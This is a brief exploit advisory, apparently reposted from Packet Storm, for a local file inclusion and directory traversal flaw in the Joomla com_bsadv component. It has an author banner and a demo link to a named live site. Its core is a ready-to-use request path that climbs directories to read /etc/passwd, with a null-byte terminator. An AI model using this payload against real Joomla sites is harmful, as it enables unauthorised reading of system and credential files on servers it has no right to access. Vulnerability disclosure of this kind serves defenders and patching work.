The Joomla Bsadv component suffers from local file inclusion and directory traversal vulnerabilities.

A las andadas... esta vez regresamos a los más simple.

###############################################
# com_bsadv Directory Traversal Vulnerability
###############################################
#[~] Author : Fl0riX | Bug Researchers
#[!] Greetz: Sakkure And All My Friends
#[!] Script_Name: Joomla com_bsadv
#[!] Demo :http://www.simons5.com/portal/
#[!] Example;
/index.php?option=com_bsadv&controller=../../../../../../../../etc/passwd%00
###############################################

Via http://www.packetstormsecurity.org/1010-exploits/joomlabsadv-lfi.txt